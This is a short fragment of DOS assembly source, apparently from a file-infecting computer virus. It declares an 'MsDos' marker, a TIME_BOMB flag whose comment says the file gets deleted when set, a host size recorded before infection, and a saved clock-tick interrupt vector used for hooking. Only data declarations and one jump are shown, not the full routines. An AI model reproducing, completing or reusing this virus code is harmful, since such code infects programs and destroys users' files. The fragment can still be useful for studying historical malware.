JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)